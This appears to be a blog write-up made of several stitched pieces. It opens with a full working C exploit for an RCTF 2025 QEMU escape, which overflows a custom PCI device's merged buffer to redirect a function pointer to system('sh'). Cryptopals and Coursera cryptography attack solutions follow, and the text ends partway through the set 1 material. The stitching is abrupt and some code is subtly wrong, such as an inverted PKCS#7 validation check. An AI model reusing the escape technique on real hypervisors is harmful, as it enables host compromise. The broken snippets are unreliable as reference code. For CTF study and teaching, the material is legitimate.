RCTF 2025 pwn，继 mstr 之后再复现一个相对简单的 qemu escape bbox，如果有空的话再看看那个 v8pwn。（画饼ing

Challenge

附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体：

00000000 struct block // sizeof=0x18
00000000 {
00000000     unsigned int id;
00000004     unsigned int size;
00000008     unsigned int _pad1;
0000000C     unsigned int offset;
00000010     unsigned int _pad2;
00000014     unsigned __int8 encrypted;
00000015     unsigned __int8 valid;
00000016     unsigned __int8 _pad3[2];
00000018 };

00000000 struct virtsec_device // sizeof=0x10E8
00000000 {
00000000     unsigned __int8 _pad0[3024];
00000BD0     unsigned int status;
00000BD4     unsigned int session_id;
00000BD8     unsigned int error_code;
00000BDC     unsigned __int8 _pad1[32];
00000BFC     unsigned int alloc_size;
00000C00     unsigned int _pad2[2];
00000C08     struct block blocks[16];
00000D88     unsigned int _pad3;
00000D8C     unsigned int current_id;
00000D90     unsigned int merge_id1;
00000D94     unsigned int merge_id2;
00000D98     unsigned __int8 data[256];
00000E98     void (*func_ptr)(void *);
00000EA0     void *func_arg;
00000EA8     unsigned __int8 _pad4[256];
00000FA8     unsigned __int8 key_buffer[256];
000010A8     unsigned int reg_10A8;
000010AC     unsigned __int8 _pad6[36];
000010D0     unsigned __int64 reg_10D0;
000010D8     unsigned __int64 reg_10D8;
000010E0     unsigned __int64 reg_10E0;
000010E8 };

之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks，每个块初始大小最高 0x10，但可以通过 merge 命令合并两个及多个块，直至 256 字节。设备还有 gift 寄存器，向其中写入任意内容后，设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针，再次触发 gift 就会将后者作为首个参数执行前者。（另外还有 session、神秘 command 3 和 xor 加解密，不知道能干啥。）

这个 PCI 设备通过 MMIO 交互，我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径（00:04.0 Class 0580: 1234:5678）。

出题人非常贴心的在每个操作都输出了 log，要想看到 qemu_log 输出便于调试，可以添加 qemu 命令行参数 -d guest_errors -D qemu.log（qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR）。

Bug

问题出在块合并，merge 似乎没有任何长度检查，只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块，从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。

Exploit

只需要将函数指针改成 system，参数改成 sh 就好了。然而由于某些神秘原因，直接向 offset 256 写入的话 qemu 就直接爆了（？

不过块合并时自然也会复制数据的，所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset，那只好重新 merge 一遍了。

有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello，可能是 pwntools 的问题吧（

Exp:

#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define REG_CMD 0x0C
#define REG_ID 0x14
#define REG_SIZE 0x18
#define REG_MERGE1 0x30
#define REG_MERGE2 0x34
#define REG_GIFT 0x38

#define CMD_SESSION 1
#define CMD_ALLOC 2
#define CMD_SELECT 3
#define CMD_MERGE 4
#define CMD_RESET 6

int fd;
volatile void *mmio_ptr;

static void write_reg32(int offset, uint32_t value) {
    *(volatile uint32_t *)(mmio_ptr + offset) = value;
}

static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); }

// static void new_session() { write_reg32(REG_CMD, CMD_SESSION); }

static void alloc_blk(uint32_t id, uint32_t size) {
    write_reg32(REG_ID, id);
    write_reg32(REG_SIZE, size);
    write_reg32(REG_CMD, CMD_ALLOC);
}

static void select_blk(uint32_t id) {
    write_reg32(REG_ID, id);
    // write_reg(REG_CMD, CMD_SELECT);
}

static void merge_blk(uint32_t id1, uint32_t id2) {
    write_reg32(REG_MERGE1, id1);
    write_reg32(REG_MERGE2, id2);
    write_reg32(REG_CMD, CMD_MERGE);
}

static void dev_res() { write_reg32(REG_CMD, CMD_RESET); }

static uint32_t read_data32(size_t offset) {
    return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset);
}

static uint64_t read_data64(size_t offset) {
    uint32_t low32 = read_data32(offset);
    uint32_t high32 = read_data32(offset + 4);
    return ((uint64_t)high32 << 32) | low32;
}

static void write_data32(size_t offset, uint32_t data) {
    *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data;
}

static void write_data64(size_t offset, uint64_t data) {
    write_data32(offset, (uint32_t)data);
    write_data32(offset + 4, (uint32_t)(data >> 32));
}

int main(void) {
    fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
    if (fd < 0) {
        perror("open");
        exit(EXIT_FAILURE);
    }
    puts("[*] Device opened.");
    mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mmio_ptr == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    puts("[*] MMIO mmaped.");

    // new_session();
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    merge_blk(0, 1);
    puts("[+] Block merged overflow.");

    trig_gift();
    select_blk(0);
    size_t host_system_addr =
        read_data64(256) - 0xf980;                    // glibc system - printf
    size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system
    printf("[+] Host `system` address: 0x%lx\n", host_system_addr);
    printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr);

    dev_res();
    puts("[*] Reset.");
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    select_blk(1);
    write_data64(0, host_system_addr);
    write_data64(8, host_sh_addr);
    merge_blk(0, 1);
    puts("[+] Gift rewritten.");

    trig_gift();

    munmap((void *)mmio_ptr, 0x2000);
    close(fd);
    return 0;
}

直接读写 MMIO 的指针一定要 ➕ volatile，否则可能被编译器优化掉。

题目一

地址：https://mysterytwister.org/challenges/level-2/aes-key--encoded-in-the-machine-readable-zone-of-a-european-epassport

俄罗斯的电子护照编号编码了一个 AES 密钥，我们需要解码出这个密钥然后解密 AES CBC 模式密文。题目说 IV 初始化为 0，那么我们只需要得到密钥。

目标密文（base64）：

9MgYwmuPrjiecPMx61O6zIuy3MtIXQQ0E59T3xB6u0Gyf1gYs2i3K9Jxaa0zj4gTMazJuApwd6+jdyeI5iGHvhQyDHGVlAuYTgJrbFDrfB22Fpil2NfNnWFBTXyf7SDI

题目已经过期了，现在的 ICAO 文件描述的护照编号格式连长度都不一样。这怎么做？只能抄题解了……

题目二

地址：https://cryptopals.com/sets/2

Implement PKCS#7 padding

不需要特别考虑 content 恰好和块等长的情况，相当于再附加一个只有 padding 的块。

def pkcs_7(content: bytes) -> bytes:
    padlen = 16 - (len(content) % 16)
    return content + bytes([padlen] * padlen)


pkcs_7("YELLOW SUBMARINE", 20)

# "YELLOW SUBMARINE\x04\x04\x04\x04"

Implement CBC mode

from base64 import b64decode
from Crypto.Cipher import AES


def aes_ecb_dec(block: bytes, key: bytes) -> bytes:
    assert len(block) % 16 == 0
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.decrypt(block)


def bytesxor(a: bytes, b: bytes) -> bytes:
    if len(a) > len(b):
        return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
        return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])


def depkcs_7(content: bytes) -> bytes:
    return content[:len(content) - content[-1]]


def aes_cbc_dec(cipher: bytes, key: bytes, iv: bytes) -> bytes:
    assert len(cipher) % 16 == 0
    result = bytes()
    prev_block = iv
    for i in range(0, len(cipher), 16):
        block = cipher[i:i+16]
        decrypted = aes_ecb_dec(block, key)
        result += bytesxor(decrypted, prev_block)
        prev_block = block
    return depkcs_7(result)


key = b"YELLOW SUBMARINE"
with open('10.txt', 'r') as f:
    encrypted_b64 = f.read()
cipher = b64decode(encrypted_b64)
print(aes_cbc_dec(cipher, key, b'\x00' * 16))

An ECB/CBC detection oracle

通过检查是否有重复块来判断是否是 ECB 模式，用户输入需要有较长的重复 pattern 才能成功。

def aes_ecb_enc(data: bytes, key: bytes) -> bytes:
    assert len(data) % 16 == 0
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(data)


def pkcs_7(content: bytes) -> bytes:
    padlen = 16 - (len(content) % 16)
    return content + bytes([padlen] * padlen)


def aes_cbc_enc(plain: bytes, key: bytes, iv: bytes) -> bytes:
    plain = pkcs_7(plain)
    result = bytes()
    prev_block = iv
    for i in range(0, len(plain), 16):
        block = plain[i: i + 16]
        encrypted = aes_ecb_enc(bytesxor(block, prev_block), key)
        result += encrypted
        prev_block = encrypted
    return result


def randint(a: int, b: int) -> int:
    return randbelow(b - a + 1) + a


def encryption_oracle(plaintext: bytes) -> bytes:
    key = token_bytes(16)
    plaintext = token_bytes(randint(5, 10)) + \
        plaintext + token_bytes(randint(5, 10))

    if randbelow(2) == 0:
        print("Oracle used: ECB")
        ciphertext = aes_ecb_enc(pkcs_7(plaintext), key)
    else:
        print("Oracle used: CBC")
        iv = token_bytes(16)
        ciphertext = aes_cbc_enc(plaintext, key, iv)
    return ciphertext


def detect_mode(ciphertext: bytes) -> str:
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
    if len(set(blocks)) != len(blocks):
        return "ECB"
    return "CBC"


ciphertext = encryption_oracle(input().encode())
mode = detect_mode(ciphertext)
print(f"Detected mode: {mode}")

Byte-at-a-time ECB decryption (Simple)

经典的 ECB Padding Oracle，由于 ECB 对相同 key 相同块的加密无论位置永远相同，我们可以逐字节爆破明文。

由于 key 不变，优化为只初始化 AES cipher 一次。爆破时无需拼接整个 cracked，只需拼接 (padding + cracked)[-15:] 以节省加密时间。

from secrets import token_bytes


unknown = b64decode(
    'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkgaGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBqdXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUgYnkK')
key = token_bytes(16)
cipher = AES.new(key, AES.MODE_ECB)


def encryption_oracle(plaintext: bytes) -> bytes:
    plaintext = pkcs_7(plaintext + unknown)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext


# block_size is 16
# Mode is ECB

cracked = b''
for i in range(len(unknown)):
    padding = b'A' * ((16 - 1) - (i % 16))
    encrypted = encryption_oracle(padding)
    start = i // 16 * 16
    target_block = encrypted[start:start + 16]
    for j in range(256):
        if encryption_oracle((padding + cracked)[-15:] + bytes([j]))[:16] == target_block:
            cracked += bytes([j])
            break

print(cracked)
assert cracked == unknown

# b"Rollin' in my 5.0\nWith my rag-top down so my hair can blow\nThe girlies on standby waving just to say hi\nDid you stop? No, I just drove by\n"

ECB cut-and-paste

同上，我们调整用户输入的邮箱地址，构造一个包含 PKCS#7 padded admin 和 user 这两个块的 k-v 字符串输入。截取加密后 PKCS#7 padded admin 块，替换加密后的最后一个块（PKCS#7 padded user），获得 admin profile 密文。

（如果要验证邮箱地址格式的话这招估计就不管用了。）

def kv_to_dict(input: str) -> dict[str, str]:
    result = dict()
    for entry in input.split('&'):
        k, v = entry.split('=')
        result[k] = v.replace('%26', '&').replace('%3D', '=')
    return result


def dict_to_kv(input: dict[str, str]) -> str:
    entries: list[str] = list()
    for entry in input.items():
        entries.append(
            f'{entry[0]}={entry[1].replace('&', '%26').replace('=', '%3D')}')
    return '&'.join(entries)


current_uid = 0


def profile_for(email: str) -> str:
    global current_uid
    result = dict_to_kv(
        {'email': email, 'uid': str(current_uid), 'role': 'user'})
    current_uid += 1
    return result


print(kv_to_dict('foo=bar&baz=qux&zap=zazzle'))
print(profile_for('foo@bar.com'))

key = token_bytes(16)
cipher = AES.new(key, AES.MODE_ECB)


def send_profile(email: str) -> bytes:
    return cipher.encrypt(pkcs_7(profile_for(email).encode()))


def recv_profile(encrypted: bytes) -> dict[str, str]:
    return kv_to_dict(depkcs_7(cipher.decrypt(encrypted)).decode())


admin_block = pkcs_7(b'admin')
encrypted = send_profile('A' * (16 - len(b'email=')) +
                         admin_block.decode() + 'AAAA')
fake_encrypted = encrypted[:-16] + encrypted[16:32]
print(recv_profile(fake_encrypted))

# {'foo': 'bar', 'baz': 'qux', 'zap': 'zazzle'}
# email=foo@bar.com&uid=0&role=user
# {'email': 'AAAAAAAAAAadmin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bAAAA', 'uid': '1', 'role': 'admin'}

Byte-at-a-time ECB decryption (Harder)

已知随机添加 5 ～ 10 随机字节。我们可以假设额外的随机 padding 长度就是 10，为了检测这种情况已经发生，我们可以在用户输入的 padding 插入一段 b'B' * block_size，检测只有 B 的加密块是否存在，为了检测这种块我们需要先得到它（利用上文提到的 ECB 缺陷），先输入 b'B' * (block_size * 3) 然后检测重复块，重复的就是只有 B 的块。为了使只有 B 的加密块有可能存在（block_size 字节对齐），我们还需要在“B 块”前添加 b'A' * (block_size - 10)。

def hard_encryption_oracle(plaintext: bytes) -> bytes:
    plaintext = pkcs_7(token_bytes(randint(5, 10)) + plaintext + unknown)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext


def detect_repeat(ecb_enc: bytes) -> int:
    assert len(ecb_enc) >= 32
    for i in range(0, len(ecb_enc) - 16, 16):
        if ecb_enc[i:i+16] == ecb_enc[i+16:i+32]:
            return i


cracked = b''
test = hard_encryption_oracle(b'B' * (16 * 3))
offset = detect_repeat(test)
pure_B_block_enc = test[offset:offset + 16]
for i in range(len(unknown)):
    extra_padding = b'A' * (16 - 10) + b'B' * 16
    padding = b'A' * ((16 - 1) - (i % 16))
    encrypted = bytes()
    while pure_B_block_enc not in encrypted:
        encrypted = hard_encryption_oracle(extra_padding + padding)
    start = i // 16 * 16 + 32
    target_block = encrypted[start:start + 16]
    for j in range(256):
        guess_enc = bytes()
        while pure_B_block_enc not in guess_enc:
            guess_enc = hard_encryption_oracle(
                extra_padding + (padding + cracked)[-15:] + bytes([j]))

        if guess_enc[32:48] == target_block:
            cracked += bytes([j])
            break

print(cracked)
assert cracked == unknown

PKCS#7 padding validation

def depkcs_7(input: bytes) -> bytes:
    padlen = input[-1]
    if 0 < padlen <= 16 or input.endswith(bytes([padlen]) * padlen):
        raise ValueError("Bad padding")
    return input[:-padlen]

CBC bitflipping attacks

You're relying on the fact that in CBC mode, a 1-bit error in a ciphertext block:

• Completely scrambles the block the error occurs in
• Produces the identical 1-bit error(/edit) in the next ciphertext block.

KEY = token_bytes(16)
IV = token_bytes(16)


def aes_cbc_enc(plain: bytes, key: bytes, iv: bytes) -> bytes:
    plain = pkcs_7(plain)
    result = bytes()
    prev_block = iv
    for i in range(0, len(plain), 16):
        block = plain[i:i + 16]
        encrypted = aes_ecb_enc(bytesxor(block, prev_block), key)
        result += encrypted
        prev_block = encrypted
    return result


def quote(data: bytes) -> bytes:
    return data.replace(b';', b'%3B').replace(b'=', b'%3D')


def encrypt_userdata(userdata: bytes) -> bytes:
    prefix = b'comment1=cooking%20MCs;userdata='
    suffix = b';comment2=%20like%20a%20pound%20of%20bacon'

    plaintext = prefix + quote(userdata) + suffix
    return aes_cbc_enc(plaintext, KEY, IV)


def check_admin(ciphertext: bytes) -> bool:
    try:
        plaintext = aes_cbc_dec(ciphertext, KEY, IV)
        return b';admin=true;' in plaintext
    except:
        return False


# len(b'comment1=cooking%20MCs;userdata=') -> 32
# len(b';comment2=%20like%20a%20pound%20of%20bacon') -> 42
ciphertext = encrypt_userdata(b'A' * (16 + (48 - 42)))
mask = bytesxor(b'AAAAAA;comme', b';admin=true;')
payload = bytesxor(ciphertext[32:32 + len(mask)], mask)
fake_ciphertext = ciphertext[:32] + payload + ciphertext[32 + len(mask):]
print(check_admin(fake_ciphertext))

# True

题目一

地址：https://www.coursera.org/learn/crypto/assignment-submission/KZ9js/week-1-programming-assignment-optional/attempt

​ 题目使用同一个流密码密钥加密得到 10 个密文，加密方式是逐字节异或，目标是通过这 10 个密文得到密钥以解出第 11 个密文。

​ 已知消息 M、密钥 K，异或加密的过程是

$$ C=M\oplus K $$

得到密文 C。异或是自反的运算，所以解密与加密过程相同

$$ M=C\oplus K $$

​ 对于同一个密钥 K 加密的两个密文 C_1、C_2，如果将两者异或可以得到

$$ B=C_1\oplus C_2=M_1\oplus K\oplus M_2\oplus K=M_1\oplus M_2 $$

字节流B是两消息逐字节异或结果。

​ 我们首先导入这些密文和加密方法

msg_1 = bytes.fromhex('315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e')
msg_2 = bytes.fromhex('234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f')
msg_3 = bytes.fromhex('32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb')
msg_4 = bytes.fromhex('32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa')
msg_5 = bytes.fromhex('3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070')
msg_6 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4')
msg_7 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce')
msg_8 = bytes.fromhex('315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3')
msg_9 = bytes.fromhex('271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027')
msg_10 = bytes.fromhex('466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83')

msg_target = bytes.fromhex('32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904')

msgs = [msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10]

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

根据前文理论，我们先尝试异或 msg_1 和 msg_2，结果是

b'\x12\x10L\x06\x13NW\t\x14\x0f\x10O\x02R\x1b\n\x04B\x02\x0cM\x07\x0b\x18OH\x15T\x1f\x08\x00HN\x1e\x02A\x06\x1d\x06MT\x0b\n\x02\x02\x10\x19E\x10\x16MO:\x00SC\x00NC\x0e\x1e\x1d\nRF\x12\x17\x1b\x01\x17\x00\x1b\x0eEC\x1c\x0c\x1d\x16\nR\r\x11tN\x19\x06\x1a\x11M\x0eU\x17O\x08NT7\x14\x05\x0b\x17CST\x1bH\x07\x0e\x00\x0eM'

我们不使用十六进制格式输出，是因为需要观察其中有一些大写或小写英文字母。根据题目，明文是 ASCII 英语句子，其中大部分符号都是大小写英文字母和空格。我们需要知道一个特殊的规律

$$ ASCII(大/小写字母)\oplus ASCII(空格)=ASCII(小/大写字母) $$

即英文字母的 ASCII 值与空格的 ASCII 值异或得到的 ASCII 值相当于切换原字母的大小写。

​ 根据以上规律，我们十个中的一个密文 C，与其余九个密文逐字节异或，得到九个字节流 B_i，观察其中相同索引 j（位置）的字节 b_k，如果这九个字节几乎都是英文字母，那么我们选取的密文 C 的索引 j 处的字节 C[j] 的明文就大概是空格。此时我们有

$$ C[j]\oplus ASCII(空格)=K[j] $$

从而有可能还原出一个字节的密钥。如果密文足够多足够长，重复上述过程可以还原完整的密钥。

key = [0] * len(msg_7) # `msg_7` is the longest ciphertext.

def isalpha(b):
    return (ord('a') <= b <= ord('z')) or (ord('A') <= b <= ord('Z'))

for i, msg_i in enumerate(msgs):
    may_not_space = [0] * len(msg_i) # Count cases when b_k is not alphabetic.
    for j, msg_j in enumerate(msgs):
        if i != j:
            xored = bytesxor(msg_i, msg_j)
            for k, xb in enumerate(xored):
                if (not isalpha(xb)) and xb != 0:
                    may_not_space[k] += 1
    
    for j, may_not in enumerate(may_not_space):
        if may_not <= 2: # If almost all b_k are alphabetic
            key_byte = msg_i[j] ^ ord(' ')
            if key[j] == 0:
                key[j] = key_byte
                continue
            
            if key[j] != key_byte: # Detect contradiction. Do more checks.
                reliable = True
                for m in msgs:
                    if j >= len(m):
                        continue
                    byte = m[j] ^ key_byte
                    if not isalpha(byte) and byte != ord(' '):
                        reliable = False
                        break
                if reliable:
                    key[j] = key_byte

print(f'Recovered key: {key}')
print(f'Target message: {bytesxor(bytes(key), msg_target)}')
# for msg in msgs:
#     print(bytesxor(msg, bytes(key)))

# Target message: b'The secuet message\xeeis: Wh\x1an using a ~tream cipher,.never\xf8use the key more than once'

题目二

地址：https://www.cryptopals.com/sets/1

1. Convert hex to base64

from base64 import b64encode

print(b64encode(bytes.fromhex('49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d')).decode())

2. Fixed XOR

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

print(bytesxor(bytes.fromhex('1c0111001f010100061a024b53535009181c'), bytes.fromhex('686974207468652062756c6c277320657965')).hex())

3. Single-byte XOR cipher

突发奇想，这里我用《动物森友会》给信件评分的算法来判断哪个结果最正确。（还真没毛病

def get_score(message: str) -> int:
    """*Animal Crossing* message scoring algorithm."""
    t = set("abl abo abr abs acc ach acr act add adm adv aer aff afr aft aga age ago ahe air ali all alm alo alr als alt alw am  ame amo and ang ani ano ans any apa app apr are arg arm arr art asi ask asl ate atm att aud aug aut ave avo awa cak cal cam can cap car cas cat cau cen cer cha che chi cho chi chu cir cit cla cle cli clo coa cof coi col com con coo cop cor cos cou cov cow cre cri cro cry cup cur cus cut bab bac bad bag bal ban bas bat be  bea bec bed bee bef beg beh bel bes bet bey bic big bik bil bir bit bla ble blo blu boa bod bon boo bor bot bou box boy bra bre bri bro bui bur bus but buy by  eac ear eas eat edu eff egg eig eit ele els emp end ene eng enj eno ent equ err esp eur eve exa exc exe exp eye dad dai dam dan dar dat dau day dea dec dee def deg del dem den dep des det dev dic did die dif dig din dir dis div do  doc doe dog dol don doo dou dow doz dra dre dri dro dru dry due dur dus dut gai gam gar gas gat gav gen ger get gir giv gla go  god goi gon goo got gov gra gre gro gua gue gui gun fac fai fal fam far fas fat fea feb fed fee fel few fie fif fig fil fin fir fis fiv fix fla fle fli flo fly fol foo for fou fra fre fri fro fru ful fun fut i   ice ide if  ima imm imp in  inc ind inf ins int inv iro is  isl it  its hab had hai hal han hap har has hat hav he  hea hei hel her hi  hid hig hil him hir his hit hol hom hon hop hor hos hot hou how hum hun hur hus kee kep key kic kil kin kit kne kni kno kab kad kai kak kan kar kas kat kau kaw kay kaz kea ked kef keg ken kes ket kev kib kie kif kig kik kim kin kis kit kiv koc kon koo kos kot kou kov kow kun kyi kac kad kag kai kaj kak kan kap kar kat kay ke  kea ked kee kem ken kes ket kid kig kil kin kis kod kom kon koo kor kos kot kou kov kuc kum kus ky  kys kam kar kat kea kec kee kei kev kew kex kic kig kin ko  kob koi kon koo kor kos kot kov kow kum kbj k'c kct kf  kff kft kh  kil kka kld kn  knc kne knl kpe kpi kpp kr  kra krd kth kur kut kve kwn jan jap job joi jud jul jum jun jus qua que qui pac pag pai pap par pas pat pay pea pen peo per pho pic pie pin pip pla ple poc poi pol poo pop pos pot pou pow pra pre pri pro pub pul pup pur pus put sad saf sai sal sam san sat sav saw say sce sch sci sco sea sec see sel sen sep ser set sev sex sha she shi sho shu sic sid sig sil sim sin sis sit six siz ski sky sle sli slo sma sme smi smo sno so  soa soc sof soi sol som son soo sor sou spa spe spi spo spr squ sta ste sti sto str stu sty sub suc sud suf sug sum sun sup sur swa swe swi swu sys rac rad rai ran rap rat rea rec red ref reg rel rem rep req res ret ric rid rig rin ris riv roa roc rod rol roo ros rou row rul run rus una unc und uni unl unt up  upo us  use usu tab tak tal tas tau tax tea tee tel tem ten ter tes tha the thi tho thr thu tic tie til tim tir tit to  tod tog tol tom ton too top tor tot tou tow tra tre tri tro tru try tue tur tv  twe twi two tyi typ val var veg ver vie vil vis voi vol vot vai vak val van var vas vat vav vay ve  vea ved vee vei vel ven ver ves vet vha vhe vhi vho vhy vid vif vil vin vir vis vit viv vok vom von voo vor vou vri vro vma yar yea yel yen yes yet you zer".split())
    s = 0
    if message and message[-1] in '.?!':
        s += 20
    for i, c in enumerate(message):
        if c in '.?!':
            for j in range(i+1, min(i+4, len(message))):
                if message[j].isupper():
                    s += 10
                    break
                elif message[j].isalpha():
                    s -= 10
                    break
    s += sum(3 for w in message.split() if len(cw :=
             ''.join(c for c in w if c.isalpha()).lower()) >= 3 and cw[:3] in t)
    for c in message:
        if not c.isspace():
            s += 20 if c.isupper() else -10
            break
    for i in range(len(message)-2):
        if message[i].isalpha() and message[i] == message[i+1] == message[i+2]:
            s -= 50
            break
    sp, nsp = message.count(' '), len(message) - message.count(' ')
    s += -20 if nsp == 0 or (sp * 100 // nsp if nsp else 0) < 20 else 20
    if len(message) > 75:
        c = 0
        for ch in message:
            c = 0 if ch in '.?!' else c + 1
            if c == 75:
                s -= 150
                break
    s -= sum(20 for i in range(0, len(message), 32)
             if ' ' not in message[i:i+32] and len(message[i:i+32]) == 32)
    return s


cipher = bytes.fromhex(
    '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736')
results = list()
for c in range(256):
    try:
        res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
        results.append((res, get_score(res)))
    except UnicodeDecodeError:
        pass

best = sorted(results, key=lambda x: x[1])[-1][0]
print(best)

# Cooking MC's like a pound of bacon

4. Detect single-character XOR

with open('4.txt', 'r') as file:
    ciphers = file.readlines()

for original_cipher in ciphers:
    results = list()
    cipher = bytes.fromhex(original_cipher)
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((res, get_score(res)))
        except UnicodeDecodeError:
            pass
    if len(results) == 0:
        continue

    best = sorted(results, key=lambda x: x[1])[-1]
    if best[1] > 40:
        print(f'{original_cipher.strip()} -> {best[0]}')

# 7b5a4215415d544115415d5015455447414c155c46155f4058455c5b523f -> Now that the party is jumping

5. Implement repeating-key XOR

def repeating_key_xor_to_hex(msg: bytes, key: bytes) -> str:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars).hex()

